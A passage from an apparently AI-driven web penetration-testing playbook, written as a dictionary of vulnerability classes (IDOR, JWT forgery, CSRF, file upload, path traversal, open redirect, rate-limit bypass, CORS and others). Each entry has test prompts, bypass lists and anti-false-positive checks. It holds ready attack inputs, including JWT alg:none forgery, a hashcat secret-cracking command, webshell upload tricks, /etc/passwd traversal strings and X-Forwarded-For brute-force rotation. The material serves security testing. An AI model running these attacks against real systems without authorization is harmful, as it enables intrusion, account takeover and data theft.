valid credentials", "Data returned is actual protected content, not error/redirect", "Compare authenticated vs bypass response - should match", "Negative control: truly invalid access returns 401/403" ], "chain_attacks": ["Auth bypass → Admin access → Full application control", "Auth bypass → Data access → Credential extraction"], "anti_false_positive": [ "302 redirect to login page != auth bypass (check final response)", "Empty 200 response != authenticated access (check for actual data)", "Must demonstrate access to PROTECTED data/functionality, not just HTTP 200" ] }, "bola": { "category": "authorization", "title": "Broken Object Level Authorization (BOLA/IDOR)", "overview": "Application exposes object references (IDs) in API/URL without verifying the requesting user is authorized to access that specific object. Test by changing ID values to access other users' objects.", "threat_model": "Attacker modifies object IDs in requests to access, modify, or delete other users' data. Most common API vulnerability (OWASP API #1).", "discovery": [ "Identify all API endpoints with object IDs: /api/users/{id}, /api/orders/{id}", "Create two test accounts with different objects", "Try accessing Account B's objects using Account A's session" ], "test_phases": [ { "phase": 1, "name": "IDOR Detection via Data Comparison", "prompts": [ "Create two accounts (userA, userB) with different data. Log in as userA. Access userA's objects: GET /api/users/userA_id. Note the response.", "With userA's session, request userB's objects: GET /api/users/userB_id. Compare the response DATA (not just status code). If you get userB's actual data, BOLA confirmed.", "CRITICAL: Compare the DATA CONTENT, not just HTTP status. A 200 response with userA's own data or an error message is NOT BOLA. Must see userB's specific data.", "Test across ALL CRUD operations: GET (read), PUT/PATCH (modify), DELETE (remove). Even if read-IDOR fails, write-IDOR may work.", "Test with different ID formats: numeric (1, 2, 3), UUID, email, username. Try sequential IDs, ID+1, ID-1.", "Check for indirect object references: /api/files/{filename}, /api/invoices/{invoice_number}. Predictable references are IDOR-prone." ], "expected_results": ["Other user's data returned (confirmed by data comparison)", "Able to modify/delete other user's objects"], "decision_tree": { "other_users_data_returned": "CONFIRMED BOLA - Document the specific data accessed", "own_data_returned_regardless": "Authorization check may remap ID to authenticated user", "403_or_404": "Authorization check exists for this endpoint", "200_but_empty_or_error": "NOT BOLA - Check response content carefully" } }, { "phase": 2, "name": "Advanced IDOR Techniques", "prompts": [ "Test parameter pollution: /api/users?id=myid&id=otherid. Some frameworks use the second parameter.", "Test in JSON body: {\"user_id\": \"other_id\"} even if the URL doesn't have the ID.", "Test GraphQL: query {user(id:\"other_id\") {name, email, ssn}}.", "Test array parameters: /api/users?ids[]=myid&ids[]=otherid to fetch multiple objects including unauthorized ones.", "Test BFLA (function-level): userA calls admin-only endpoints. GET /api/admin/users, POST /api/users/otherid/role.", "Test mass assignment: register with {\"username\":\"new\",\"role\":\"admin\"} to escalate privileges." ], "expected_results": ["IDOR via parameter pollution", "BFLA confirmed", "Mass assignment works"], "decision_tree": { "advanced_idor": "CONFIRMED - Document the specific technique", "bfla_confirmed": "HIGH - Horizontal or vertical privilege escalation", "mass_assignment": "HIGH - Role/permission manipulation" } } ], "bypass_strategies": [ "ID type confusion: numeric vs UUID vs base64-encoded", "Parameter pollution: duplicate ID parameters", "Wrapped object references: {\"user\": {\"id\": OTHER_ID}}", "GraphQL field access with different user context", "Array parameter injection: ids[]=my_id&ids[]=other_id" ], "verification_checklist": [ "Response contains OTHER USER'S data (compare field values, not just status)", "Multiple objects tested (not just one lucky match)", "Data comparison done: userA data != userB data in response", "Write operations verified: modification actually persists for other user", "Negative control: own data request returns correctly" ], "chain_attacks": ["BOLA → Mass data theft", "BOLA → Account takeover via email/password change", "BOLA → Delete other users' data"], "anti_false_positive": [ "200 status code alone does NOT confirm BOLA — must check DATA content", "Application may remap any ID to the authenticated user's data (safe)", "Empty response body with 200 is NOT BOLA", "Must prove access to ANOTHER user's specific data" ] }, "privilege_escalation": { "category": "authorization", "title": "Privilege Escalation (Vertical)", "overview": "Lower-privileged user accesses higher-privileged functionality. Test by using a regular user's session to access admin/manager endpoints or modify role assignments.", "threat_model": "Regular user escalates to admin by accessing admin endpoints, modifying role claims in tokens, or exploiting missing role checks on sensitive operations.", "discovery": [ "Map admin-only functionality (user management, settings, reports)", "Access admin endpoints with regular user session", "Check for role information in JWT/cookies that can be modified", "Test API endpoints discovered via JS/docs that aren't in the regular UI" ], "test_phases": [ { "phase": 1, "name": "Vertical Privilege Escalation", "prompts": [ "Log in as admin, map all admin-only endpoints and functionality. Log in as regular user, attempt to access each admin endpoint with the regular user's session.", "Compare responses: does the regular user get actual admin data/functionality or just a 403? Check DATA content, not just status codes.", "Test role modification: PUT /api/users/myid with {\"role\": \"admin\"} or {\"isAdmin\": true}. Check if role change persists.", "Check JWT claims: decode the JWT, modify role/admin claims, re-encode. If no signature verification or using alg:none, forged token works.", "Test hidden admin parameters: add admin=true, _admin=1, role=admin, group=administrators to any request.", "Check for GraphQL mutations that modify roles: mutation { updateUserRole(userId: \"myid\", role: ADMIN) { role } }." ], "expected_results": ["Admin functionality accessed as regular user", "Role modified successfully", "JWT forged with admin claims"], "decision_tree": { "admin_access_granted": "CRITICAL - Vertical privilege escalation confirmed", "role_modified": "CRITICAL - Self-promotion to admin", "partial_access": "HIGH - Some admin functions lack authorization", "all_properly_restricted": "Authorization checks working correctly" } } ], "bypass_strategies": [ "JWT manipulation: change role claim, use alg:none, crack weak secret", "Cookie role modification: decode and change role value", "Hidden parameter injection: admin=true, role=admin", "HTTP method switching on admin endpoints", "Path traversal: /user/../admin/endpoint" ], "verification_checklist": [ "Admin-only data/actions accessible with regular user session", "Role change persists (not just reflected in response)", "Data comparison confirms admin-level data (not user-level subset)", "Multiple admin functions tested, not just one endpoint" ], "chain_attacks": ["Privilege escalation → Full admin access → Data exfiltration → User management"], "anti_false_positive": [ "Admin endpoint returning 200 with generic message != escalation", "Must verify admin-level DATA or ACTIONS are accessible", "Role change in response but not in database = cosmetic, not real" ] }, "csrf": { "category": "client_side", "title": "Cross-Site Request Forgery (CSRF)", "overview": "Application performs state-changing operations without verifying the request originated from the application. Test by crafting cross-origin requests that execute privileged actions.", "threat_model": "Attacker creates malicious page that makes requests to target app using victim's authenticated session. Victim visits attacker page and unknowingly performs actions (password change, email change, fund transfer).", "discovery": [ "Check for CSRF tokens in forms and AJAX requests", "Check SameSite cookie attribute", "Check for custom header requirements (X-CSRF-Token, X-Requested-With)", "Test if state-changing operations use GET (always CSRF-vulnerable)" ], "test_phases": [ { "phase": 1, "name": "CSRF Protection Analysis", "prompts": [ "For each state-changing endpoint (password change, email change, profile update, settings), check: is there a CSRF token? Is SameSite=Strict/Lax set on session cookie? Is a custom header required?", "If CSRF token exists: test removing the token entirely, using an empty token, using a token from a different session, using a token from a different endpoint. Some implementations are broken.", "If no CSRF token: craft an HTML form that auto-submits to the target endpoint:
.", "For JSON endpoints: test if the endpoint accepts application/x-www-form-urlencoded. If yes, CSRF is possible even for JSON APIs.", "Check SameSite=Lax bypass: GET requests with state-changing effects, or POST via
with method override (_method=POST).", "Test login CSRF: can attacker log the victim into attacker's account? Submit login form with attacker's credentials from cross-origin." ], "expected_results": ["State-changing action executed without CSRF token", "Token validation is flawed"], "decision_tree": { "no_csrf_protection": "CONFIRMED - Craft PoC form demonstrating the attack", "token_validation_broken": "CONFIRMED - Document which bypass works", "samesite_only": "Test Lax bypass via GET/method override", "full_protection": "CSRF protection working correctly" } } ], "bypass_strategies": [ "Remove CSRF token entirely (some backends don't validate if absent)", "Use token from different session or endpoint", "JSON content-type bypass via form with enctype='text/plain'", "SameSite=Lax bypass: GET with side effects, HEAD/OPTIONS", "Flash/PDF/Silverlight cross-origin request tricks (legacy)", "Subdomain takeover → set cookies → bypass token" ], "verification_checklist": [ "State-changing action actually executes from cross-origin", "Victim's session is used (not unauthenticated request)", "Action has meaningful impact (password change, not just profile view)", "PoC HTML page demonstrates the attack end-to-end" ], "chain_attacks": ["CSRF → Password change → Account takeover", "CSRF → Email change → Password reset → Takeover", "XSS + CSRF → Extract token + Perform action"], "anti_false_positive": [ "Missing CSRF token on read-only GET endpoints is NOT a vulnerability", "SameSite=Lax provides protection for POST — verify bypass works", "Must demonstrate actual state change, not just request sending" ] }, "jwt_manipulation": { "category": "authentication", "title": "JWT Token Manipulation", "overview": "Attacks against JSON Web Token implementations: algorithm confusion (none/HS256→RS256), weak secrets, missing validation, claim manipulation. Common in modern API authentication.", "threat_model": "Attacker forges or manipulates JWT tokens to impersonate other users, escalate privileges, or bypass authentication entirely.", "discovery": [ "Identify JWT usage (Authorization: Bearer eyJ...)", "Decode JWT header and payload (base64url decode)", "Check algorithm in header", "Test token manipulation and re-submission" ], "test_phases": [ { "phase": 1, "name": "JWT Algorithm & Signature Attacks", "prompts": [ "Decode the JWT: split on '.', base64url-decode header and payload. Note the algorithm (alg), claims (sub, role, exp, iat), and any custom fields.", "Test alg:none attack: change header to {\"alg\":\"none\",\"typ\":\"JWT\"}, modify payload claims, remove signature (leave trailing dot). If accepted, any token can be forged.", "Test alg confusion (RS256→HS256): if server uses RS256, change alg to HS256 and sign with the PUBLIC KEY as HMAC secret. If server doesn't validate algorithm, it accepts the forged token.", "Test weak secret: use hashcat or jwt_tool to crack HS256 secret: hashcat -a 0 -m 16500 'JWT_HERE' wordlist.txt. Common weak secrets: secret, password, 123456, jwt_secret.", "Test missing expiration: remove 'exp' claim. If server doesn't enforce expiration, tokens live forever.", "Test claim manipulation: change 'sub' to another user ID, change 'role' to 'admin', change 'email' to target user's email. Re-sign with cracked/known secret." ], "expected_results": ["Token forged with alg:none", "Secret cracked", "Claims manipulated successfully"], "decision_tree": { "alg_none_accepted": "CRITICAL - Any user can be impersonated", "secret_cracked": "CRITICAL - Full token forging capability", "claims_modifiable": "HIGH - Privilege escalation via claim change", "all_validations_pass": "JWT implementation secure" } }, { "phase": 2, "name": "Advanced JWT Attacks", "prompts": [ "Test JKU/JWK injection: set 'jku' header to attacker-controlled URL hosting a JWK set. If server fetches keys from the provided URL, attacker controls the signing key.", "Test kid injection: set 'kid' (key ID) to known values: '../../../dev/null' (empty key), 'default' (common key name), SQL injection in kid.", "Test x5c header injection: provide an attacker's X.509 certificate chain. If server trusts the embedded cert, attacker controls signing.", "Test token confusion: use access token as refresh token or vice versa. Use token from one microservice in another.", "Test JWT in cookies: check if HttpOnly, Secure, SameSite attributes are set on JWT cookie." ], "expected_results": ["JKU/JWK bypass", "Kid injection", "Cross-service token reuse"], "decision_tree": { "jku_jwk_bypass": "CRITICAL - Remote key injection", "kid_injection": "CRITICAL - Key selection manipulation", "token_confusion": "HIGH - Cross-boundary token reuse" } } ], "bypass_strategies": [ "alg:none with different casings: None, NONE, nOnE", "alg confusion: RS256→HS256 with public key as HMAC secret", "Weak secret brute force via hashcat/john", "JKU/JWK pointing to attacker-controlled JWKS endpoint", "kid directory traversal: kid: ../../../dev/null", "Empty signature: header.payload. (trailing dot)" ], "verification_checklist": [ "Forged token accepted by server and grants modified access", "Data comparison: forged token returns target user's data", "Algorithm confusion: token signed with wrong algorithm accepted", "Negative control: random/invalid token is properly rejected" ], "chain_attacks": ["JWT forge → Any user impersonation → Full account takeover", "JWT → Admin claim → Administrative access"], "anti_false_positive": [ "Decoding JWT payload is normal behavior, not a vulnerability", "Must prove SERVER ACCEPTS the manipulated token", "Expired but decodable token is expected — check if server enforces expiry", "Algorithm in header visible in decoded token is by design" ] }, "session_fixation": { "category": "authentication", "title": "Session Fixation", "overview": "Application accepts externally set session identifiers. Attacker sets a known session ID for victim, victim authenticates, attacker hijacks the authenticated session.", "threat_model": "Attacker obtains a valid session ID, forces it onto the victim (via URL, cookie injection, or meta tag), victim logs in using the fixed session, attacker now has an authenticated session.", "discovery": [ "Check if session ID changes after login (should change!)", "Test if arbitrary session IDs are accepted: set cookie to custom value, check if server uses it", "Look for session ID in URL parameters" ], "test_phases": [ { "phase": 1, "name": "Session Fixation Detection", "prompts": [ "Get a session ID before authentication (unauthenticated session). Log in. Check if the session ID changed. If the SAME session ID is used before and after authentication, session fixation is possible.", "Test forced session: set session cookie to a known value (e.g., SESSIONID=attacker_controlled_value). Submit login. Check if the server accepts and authenticates with the attacker-controlled session ID.", "Check for session ID in URL: /page?JSESSIONID=xyz. If session ID can be set via URL, it's easily fixable via a link.", "Test cross-subdomain fixation: can a subdomain set a cookie for the parent domain? If *.example.com can set cookies for example.com, subdomain compromise enables fixation.", "Verify the complete attack chain: get session → force on victim → victim authenticates → attacker uses same session." ], "expected_results": ["Session ID persists across login", "Server accepts externally set session ID"], "decision_tree": { "session_not_rotated": "CONFIRMED - Session fixation possible", "session_rotated_but_predictable": "Test session prediction instead", "session_properly_rotated": "Not vulnerable to fixation" } } ], "bypass_strategies": [ "Cookie injection via CRLF", "Meta tag injection: ", "Subdomain cookie setting for parent domain", "Session ID in URL parameter or fragment" ], "verification_checklist": [ "Same session ID used before and after authentication", "Attacker can access authenticated resources with the fixed session", "Full attack chain demonstrated: fix → auth → hijack", "Negative control: session rotation prevents the attack when working correctly" ], "chain_attacks": ["Session fixation → Authenticated access → Account takeover"], "anti_false_positive": [ "Old session ID being invalidated but not deleted from cookie != fixation", "Must prove the SAME session grants authenticated access", "Check that the fixed session actually has authenticated privileges" ] }, "file_upload": { "category": "file_access", "title": "Unrestricted File Upload", "overview": "Application allows file upload without proper validation of file type, content, or storage location. Test for web shell upload, path traversal in filename, content type bypass, and double extension tricks.", "threat_model": "Attacker uploads malicious files (web shells, malware, HTML/SVG with XSS) that get executed or served by the application, leading to RCE, XSS, or storage abuse.", "discovery": [ "Find all file upload endpoints: profile pictures, document uploads, import features", "Upload test files with different extensions: .php, .jsp, .aspx, .py", "Check if uploaded files are served with their original Content-Type", "Check file storage location: is it within the webroot?" ], "test_phases": [ { "phase": 1, "name": "Upload Restriction Bypass", "prompts": [ "Upload a PHP webshell () with .php extension. If it executes when accessed, direct RCE.", "If .php blocked, try extension bypass: .php5, .phtml, .phar, .phps, .php.jpg, .php%00.jpg, .php\\x00.jpg, .PhP, .PHP.", "Test Content-Type bypass: set Content-Type to image/jpeg while uploading a PHP file. If server validates Content-Type instead of actual content, bypass works.", "Test double extension: shell.php.jpg, shell.jpg.php. Some servers execute based on first extension, others on last.", "Test path traversal in filename: ../../../var/www/html/shell.php to write outside upload directory.", "Test null byte: shell.php%00.jpg (truncates to shell.php in old PHP).", "Upload SVG with XSS: ." ], "expected_results": ["File uploaded with executable extension", "Web shell executes", "XSS via SVG upload"], "decision_tree": { "rce_via_shell": "CRITICAL - Web shell uploaded and executing", "xss_via_svg_html": "HIGH - Client-side code execution via upload", "file_uploaded_but_not_executable": "MEDIUM - Check serving behavior and Content-Type", "all_extensions_blocked": "Try content-type and magic byte attacks" } }, { "phase": 2, "name": "Advanced Upload Attacks", "prompts": [ "Test magic byte bypass: prepend GIF89a to PHP file content. If server checks magic bytes but not extension, payload executes.", "Test polyglot files: create image that is also valid PHP. Tools: phpggc, gifoce.", "Test .htaccess upload (Apache): upload .htaccess with 'AddType application/x-httpd-php .jpg' to make JPG files execute as PHP.", "Test web.config upload (IIS): upload web.config that maps .asp handler to .txt files.", "Test file overwrite: upload a file with the same name as an existing file (config.php, .htaccess, web.config).", "Test race condition: upload file and request it before server-side validation/deletion occurs." ], "expected_results": ["Magic byte bypass works", "htaccess/web.config uploaded", "Race condition exploitable"], "decision_tree": { "config_file_overwritten": "CRITICAL - Server configuration hijacked", "polyglot_executes": "CRITICAL - RCE via polyglot", "race_condition": "HIGH - Temporary execution window" } } ], "bypass_strategies": [ "Extension: .php5, .phtml, .phar, .shtml, .jsp, .jspx, .asp, .aspx, .cer, .asa", "Double extension: .php.jpg, .jpg.php", "Null byte: .php%00.jpg (old systems)", "Content-Type: image/jpeg, image/gif with PHP content", "Magic bytes: GIF89a prefix, PNG header, JPEG header", "Case variation: .PhP, .pHp, .PHP", ".htaccess/web.config upload for handler reconfiguration", "Path traversal in filename: ../../shell.php" ], "verification_checklist": [ "Uploaded file accessible at known URL", "Server-side code in uploaded file actually executes", "XSS in SVG/HTML executes in browser when file is served", "Negative control: upload legitimate file to confirm baseline behavior" ], "chain_attacks": ["File upload → Web shell → RCE → Full compromise", "File upload → SVG XSS → Session theft", "File upload → htaccess → PHP execution"], "anti_false_positive": [ "File uploaded but stored with random name and no direct access = limited impact", "File uploaded but not served with executable Content-Type = no execution", "Must prove the uploaded file EXECUTES or causes client-side impact" ] }, "path_traversal": { "category": "file_access", "title": "Path Traversal / Directory Traversal", "overview": "Application uses user input to construct file paths without proper validation. Unlike LFI, path traversal reads/writes files without executing them. Test for reading sensitive files and writing to arbitrary locations.", "threat_model": "Attacker reads sensitive files (configs, credentials, source code) or writes files to arbitrary locations (overwrite configs, place backdoors) via path traversal in file operations.", "discovery": [ "Identify parameters referencing files: file=, path=, doc=, download=, template=, img=", "Test: ../../../../../../etc/passwd", "Test in file download, image display, template selection, config load endpoints", "Check for file write operations: upload filename, export path, log file path" ], "test_phases": [ { "phase": 1, "name": "Path Traversal Detection", "prompts": [ "For each file-referencing parameter: inject ../../../../../../etc/passwd with 8+ levels of traversal. Check for 'root:x:0:0' in response body or download.", "If ../ filtered: try ....//....//etc/passwd (nested), ..%252f..%252f (double encode), %2e%2e%2f (URL encode), ..%c0%af (overlong UTF-8).", "Test absolute path: /etc/passwd. Some apps filter relative traversal but accept absolute paths.", "On Windows: ..\\\\..\\\\..\\\\windows\\\\win.ini, ..\\\\..\\\\..\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts.", "Test for file write traversal: in upload filenames, export paths, or save operations, inject ../../../tmp/test_write to write outside intended directory." ], "expected_results": ["Sensitive file content read", "File written to arbitrary location"], "decision_tree": { "file_read_confirmed": "CONFIRMED - Document files accessible", "file_write_confirmed": "CRITICAL - Arbitrary file write", "traversal_blocked": "Try encoding bypasses and alternative paths" } } ], "bypass_strategies": [ "Nested traversal: ....// → ../ after filter", "Double URL encoding: %252e%252e%252f", "UTF-8 overlong: %c0%ae%c0%ae%c0%af", "Mixed slash: ../..\\../../", "Null byte truncation: ../../etc/passwd%00.jpg", "UNC path (Windows): \\\\attacker\\share\\evil" ], "verification_checklist": [ "File content matches expected format for the target file", "Different paths return different file contents", "File is OUTSIDE the intended directory scope", "Negative control: intended file path returns expected content" ], "chain_attacks": ["Path traversal read → Credential extraction → Auth bypass", "Path traversal write → Config overwrite → RCE"], "anti_false_positive": [ "Error mentioning file path != traversal (info disclosure only)", "Must read file OUTSIDE the intended directory", "Default/sample file content != actual server file" ] }, "open_redirect": { "category": "client_side", "title": "Open Redirect", "overview": "Application redirects users to attacker-controlled URL based on user input. Test redirect parameters for URL manipulation to phishing sites.", "threat_model": "Attacker crafts URL with redirect to malicious site. Victim trusts the legitimate domain, clicks the link, and is redirected to a phishing page or malware download.", "discovery": [ "Find redirect parameters: redirect=, url=, next=, return=, returnTo=, goto=, destination=, redir=, out=", "Check login/logout redirect functionality", "Check OAuth callback URLs" ], "test_phases": [ { "phase": 1, "name": "Open Redirect Detection", "prompts": [ "Test direct redirect: /login?redirect=https://evil.com. After login, check if browser redirects to evil.com.", "If domain validation exists, try bypasses: https://evil.com@legitimate.com, https://legitimate.com.evil.com, https://evil.com#legitimate.com, https://evil.com\\@legitimate.com.", "Test protocol-relative URL: //evil.com. Most browsers redirect to https://evil.com.", "Test JavaScript redirect: redirect=javascript:alert(1) (XSS via redirect).", "Test URL encoding: redirect=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d (encoded https://evil.com).", "Test in POST body: some redirect parameters are in form data, not URL." ], "expected_results": ["Browser redirects to attacker-controlled domain"], "decision_tree": { "redirect_to_external": "CONFIRMED open redirect - Document the bypass used", "javascript_redirect": "UPGRADED to XSS via open redirect", "only_same_domain": "Redirect validation working correctly" } } ], "bypass_strategies": [ "Domain confusion: evil.com@good.com, good.com.evil.com", "Protocol tricks: //evil.com, ///evil.com, \\\\evil.com", "Encoding: URL encode, double encode, Unicode", "Path confusion: /redirect?url=/\\evil.com", "Data URI: data:text/html,", "Null byte: https://good.com%00.evil.com" ], "verification_checklist": [ "Browser actually navigates to external domain", "Redirect happens after legitimate action (login, click)", "External domain is fully attacker-controlled (not a subdomain of target)", "User sees legitimate domain in the initial URL" ], "chain_attacks": ["Open redirect → Phishing → Credential theft", "Open redirect → OAuth token theft", "Open redirect → SSRF (in server-side redirects)"], "anti_false_positive": [ "Redirect to same domain/subdomain is usually intended behavior", "Must redirect to a DIFFERENT domain to be open redirect", "Meta refresh or JS redirect in response body may have different severity" ] }, "mass_assignment": { "category": "authorization", "title": "Mass Assignment / Auto-Binding", "overview": "Application automatically binds request parameters to internal object properties. Test by including additional fields (role, isAdmin, price) in requests to modify protected properties.", "threat_model": "Attacker adds extra parameters to requests that map to internal model properties, escalating privileges, modifying prices, or changing hidden fields that should only be set by the server.", "discovery": [ "Find API endpoints that accept JSON/form data for create/update operations", "Review API docs, GraphQL schema, or JavaScript source for internal model fields", "Try adding: role, admin, isAdmin, price, balance, permissions, status" ], "test_phases": [ { "phase": 1, "name": "Mass Assignment Detection", "prompts": [ "Register a new user with extra fields: {\"username\":\"test\",\"password\":\"test\",\"role\":\"admin\",\"isAdmin\":true}. Check if the created user has admin privileges.", "Update profile with extra fields: PUT /api/users/myid with {\"name\":\"test\",\"email\":\"test@test.com\",\"role\":\"admin\",\"verified\":true,\"balance\":99999}. Check if protected fields changed.", "For e-commerce: modify order with {\"item_id\":1,\"quantity\":1,\"price\":0.01}. Check if the discounted price is accepted.", "Check for GraphQL mutations that accept unexplored input fields by reviewing the schema.", "Test nested objects: {\"user\":{\"name\":\"test\",\"permissions\":{\"admin\":true}}} for nested mass assignment.", "Compare response before and after adding extra fields to detect which ones are accepted." ], "expected_results": ["Role/permission elevated", "Protected field modified", "Price manipulated"], "decision_tree": { "privilege_escalation": "CRITICAL - Role/admin modification accepted", "financial_manipulation": "HIGH - Price/balance modification", "hidden_field_set": "MEDIUM - Protected field modifiable", "extra_fields_ignored": "Mass assignment protection in place" } } ], "bypass_strategies": [ "Different parameter formats: role=admin, role[]=admin, user[role]=admin", "Nested object injection: {\"user\":{\"role\":\"admin\"}}", "Array parameter: roles[0]=admin", "camelCase/snake_case variants: isAdmin, is_admin, IsAdmin", "GraphQL input type exploration for hidden fields" ], "verification_checklist": [ "Protected field value actually changed (verify via GET after update)", "Elevated privileges actually grant additional access", "Price/balance modification reflects in actual operations", "Negative control: without extra field, default value applies" ], "chain_attacks": ["Mass assignment → Admin role → Full application control", "Mass assignment → Price manipulation → Financial loss"], "anti_false_positive": [ "Field accepted in response but not persisted != mass assignment", "Must verify the field change has ACTUAL EFFECT on authorization/logic", "Some APIs accept and ignore unknown fields — check the database state" ] }, "rate_limit_bypass": { "category": "logic", "title": "Rate Limiting Bypass / Brute Force", "overview": "Application fails to properly rate-limit sensitive operations (login, password reset, OTP validation). Test for brute-force capabilities by bypassing or circumventing rate limits.", "threat_model": "Attacker brute-forces credentials, OTP codes, or API keys by bypassing rate limiting mechanisms, leading to account takeover or unauthorized access.", "discovery": [ "Test login endpoint: send 100+ requests with wrong passwords", "Check for rate limit headers: X-RateLimit-Limit, Retry-After", "Test OTP/2FA endpoints for brute-force possibility", "Check password reset for enumeration/brute-force" ], "test_phases": [ { "phase": 1, "name": "Rate Limit Analysis & Bypass", "prompts": [ "Send 50+ login requests with incorrect passwords for one account. Check if account gets locked or rate-limited. Note the threshold.", "If rate limited, try bypass: X-Forwarded-For: {random_ip}, X-Real-IP: {random_ip}, X-Originating-IP: {random_ip}. Rotate IP per request.", "Try adding null bytes or spaces to password/username to be treated as different requests: 'admin' vs 'admin ' vs 'admin%00'.", "Test OTP brute-force: if OTP is 4-6 digits, send 10000/1000000 requests. Check if rate limiting prevents this.", "Test with API key rotation or different User-Agent strings to bypass fingerprinting-based limits.", "Test distributed brute-force: vary X-Forwarded-For header to simulate requests from different IPs." ], "expected_results": ["Rate limit bypassed", "Brute-force possible", "OTP crackable"], "decision_tree": { "no_rate_limit": "HIGH - Unlimited brute-force attempts", "rate_limit_bypassed": "HIGH - Rate limit circumvented via header manipulation", "otp_brute_force": "HIGH - OTP crackable within feasible time", "proper_rate_limiting": "Rate limiting working correctly" } } ], "bypass_strategies": [ "IP rotation via X-Forwarded-For, X-Real-IP, X-Client-IP headers", "Username manipulation: admin vs Admin vs ADMIN vs admin%00", "Concurrent requests to exceed check window", "API versioning: /v1/login vs /v2/login (different rate limits)", "Parameter pollution: user=admin&user=victim", "GraphQL batching: multiple login attempts in one request" ], "verification_checklist": [ "Brute-force successful: correct credential found", "Or: demonstrated ability to send unlimited attempts", "Rate limit bypass confirmed by sending 100+ requests without blocking", "Negative control: legitimate rate limiting blocks after threshold" ], "chain_attacks": ["Rate limit bypass → Credential brute-force → Account takeover", "Rate limit bypass → OTP crack → 2FA bypass"], "anti_false_positive": [ "Slow responses != rate limiting (may just be server load)", "Must demonstrate practical brute-force capability, not just theoretical", "Account lockout may prevent exploitation even without rate limiting" ] }, "business_logic": { "category": "logic", "title": "Business Logic Vulnerabilities", "overview": "Flaws in application's business rules that allow unintended operations: negative quantities, coupon reuse, workflow bypass, race conditions. These require understanding the application's purpose.", "threat_model": "Attacker exploits logical flaws in business processes to gain financial advantage, bypass workflows, or manipulate application state in unintended ways.", "discovery": [ "Map complete business workflows (registration, purchase, approval)", "Identify numerical inputs: quantity, price, discount, points", "Test workflow step skipping: can you go from step 1 to step 5?", "Look for race conditions in concurrent operations" ], "test_phases": [ { "phase": 1, "name": "Logic Flaw Discovery", "prompts": [ "Test negative values: set quantity=-1, amount=-100, discount=101%. Check if the application credits money, gives items, or applies impossible discounts.", "Test integer overflow: set quantity=2147483647 or quantity=99999999999. Check for integer overflow causing price to become 0 or negative.", "Test workflow bypass: skip steps in multi-step process. In checkout: go directly to payment confirmation without adding items. In registration: skip email verification step.", "Test coupon/promo abuse: apply same coupon twice, apply multiple exclusive coupons, apply coupon to already-discounted item, use expired coupon.", "Test race conditions: submit same payment/transfer simultaneously from two threads. Check for double-spending.", "Test parameter tampering: modify hidden form fields for price, item ID, or user role during checkout or form submission." ], "expected_results": ["Negative values cause credit/refund", "Workflow steps skipped", "Race condition double-spend"], "decision_tree": { "financial_exploitation": "HIGH - Monetary impact via logic flaw", "workflow_bypass": "MEDIUM-HIGH - Process integrity compromised", "race_condition": "HIGH - Double-spending or duplicate operations", "logic_sound": "Application handles edge cases correctly" } }, { "phase": 2, "name": "Advanced Logic Testing", "prompts": [ "Test role-based logic: can a buyer perform seller actions? Can a viewer edit? Test all role transitions.", "Test time-based logic: submit orders at boundary times (midnight, sale end), manipulate timestamps in requests.", "Test referral/reward abuse: self-refer, circular referral chains, mass account creation for referral bonuses.", "Test idempotency: replay successful transaction requests. Check if items/credits are granted multiple times.", "Test boundary values: minimum/maximum quantities, zero-value transactions, maximum-length strings.", "Test currency rounding: exploit rounding in financial calculations (salami slicing)." ], "expected_results": ["Role confusion exploited", "Time-based abuse", "Reward system manipulation"], "decision_tree": { "role_confusion": "HIGH - Unauthorized actions via role logic flaw", "reward_abuse": "MEDIUM - Financial/reputation impact", "replay_success": "HIGH - Duplicate transactions" } } ], "bypass_strategies": [ "Negative/zero values in numeric fields", "Integer overflow (MAX_INT + 1 = negative)", "Step skipping via direct URL access", "Race conditions via concurrent requests", "Parameter tampering on hidden/readonly fields", "Coupon/promo code reuse and stacking" ], "verification_checklist": [ "Unintended operation actually completed (money credited, item granted)", "Business rule violated with measurable impact", "Race condition reproduces consistently (not just one-off)", "Negative control: normal workflow works as expected" ], "chain_attacks": ["Logic flaw → Financial fraud", "Race condition → Double-spend → Profit", "Workflow bypass → Unauthorized access"], "anti_false_positive": [ "Application error on edge case input != business logic flaw", "Must demonstrate actual IMPACT: financial, access, or data", "Theoretical logic flaw without practical exploitation is informational" ] }, # ═══════════════════════════════════════════════════════════ # CHAPTER 4: INFRASTRUCTURE & MISCONFIGURATION (36-50) # ═══════════════════════════════════════════════════════════ "cors_misconfiguration": { "category": "infrastructure", "title": "CORS Misconfiguration", "overview": "Cross-Origin Resource Sharing headers allow unauthorized domains to read responses. Test for reflected origins, null origin trust, wildcard with credentials, and subdomain trust.", "threat_model": "Attacker hosts malicious page that makes cross-origin requests to target API. Due to permissive CORS, attacker's page can read the response containing victim's data.", "discovery": [ "Send request with Origin: https://evil.com header", "Check Access-Control-Allow-Origin in response", "Test with Origin: null", "Check if Access-Control-Allow-Credentials: true with wildcard" ], "test_phases": [ { "phase": 1, "name": "CORS Policy Analysis", "prompts": [ "Send request with Origin: https://evil.com. If response contains Access-Control-Allow-Origin: https://evil.com, origin is reflected — any domain can read responses.", "Send with Origin: null. If response contains Access-Control-Allow-Origin: null with Allow-Credentials: true, null origin is trusted (exploitable via sandboxed iframe).", "Test subdomain trust: Origin: https://anything.target.com. If accepted, subdomain XSS can be leveraged to steal data.", "Check for wildcard: Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This is a common misconfiguration (browsers block it, but some implementations are buggy).", "Test prefix/suffix bypass: Origin: https://evil.com.target.com, Origin: https://target.com.evil.com. Regex-based validation may be flawed.", "Build PoC: create HTML page with fetch/XMLHttpRequest to target API with {credentials: 'include'}. If response is readable, CORS misconfiguration confirmed." ], "expected_results": ["Origin reflected in ACAO header", "Null origin trusted", "Subdomain bypass works"], "decision_tree": { "origin_reflected": "HIGH - Any domain can read authenticated responses", "null_origin_trusted": "HIGH - Exploitable via sandboxed iframe", "subdomain_trusted": "MEDIUM - Exploitable if subdomain is compromisable", "proper_cors": "CORS correctly configured" } } ], "bypass_strategies": [ "Null origin via sandboxed iframe: ", "Test if the target page loads in the iframe (some pages break out of frames with JavaScript - check for frame-busting scripts).", "Identify high-impact actions that can be triggered via single click: delete account, change email, approve transaction, change password.", "Test if frame-busting JavaScript can be bypassed: sandbox attribute on iframe (sandbox='allow-forms'), or if target uses conditional frame-busting that can be tricked." ], "expected_results": ["Target page loads in iframe", "Sensitive action triggerable via click"], "decision_tree": { "frameable_with_sensitive_action": 